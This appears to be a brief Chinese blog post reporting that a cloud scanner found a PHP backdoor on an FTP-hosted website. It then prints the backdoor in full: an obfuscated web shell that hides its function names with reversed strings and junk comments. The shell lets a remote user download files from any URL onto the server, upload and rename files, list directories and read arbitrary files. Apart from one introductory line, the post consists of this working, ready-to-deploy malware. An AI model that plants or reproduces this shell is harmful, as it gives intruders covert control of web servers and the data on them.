php后门代码

使用护卫神云查杀系统在线查杀ftp空间中的网站，发现一个php后门：



php后门代码：

1. <?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';$rnform='<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';$lpform='<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';$sfform='<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';if($_GET['act']=='dl'){echo($dlform);if($_SERVER['REQUEST_METHOD']=='POST'){$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));}exit;}if($_GET['act']=='ul'){echo($ulform);if($_SERVER['REQUEST_METHOD']=='POST'){$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);}exit;}if($_GET['act']=='rn'){echo($rnform);if($_SERVER['REQUEST_METHOD']=='POST'){$rn/*+/*+*/($_POST['on'],$_POST['nn']);}exit;}if($_GET['act']=='gp'){echo($dn/*+/*+*/(__FILE__));exit;}if($_GET['act']=='lp'){echo($lpform);if($_SERVER['REQUEST_METHOD']=='POST'){$dp=$_POST['dp'].'/';$h=$od/*+/*+*/($dp);while(($fn=$rd/*+/*+*/($h))!==false){if($id/*+/*+*/($dp.$fn)){$t1.='D '.$fn.'<br>';}else{$t2.='  '.$fn.'<br>';}}$cd/*+/*+*/($dp);echo($dp.'<br>'.$t1.$t2);}exit;}if($_GET['act']=='sf'){echo($sfform);if($_SERVER['REQUEST_METHOD']=='POST'){$df=$_POST['df'];echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');}exit;}?>

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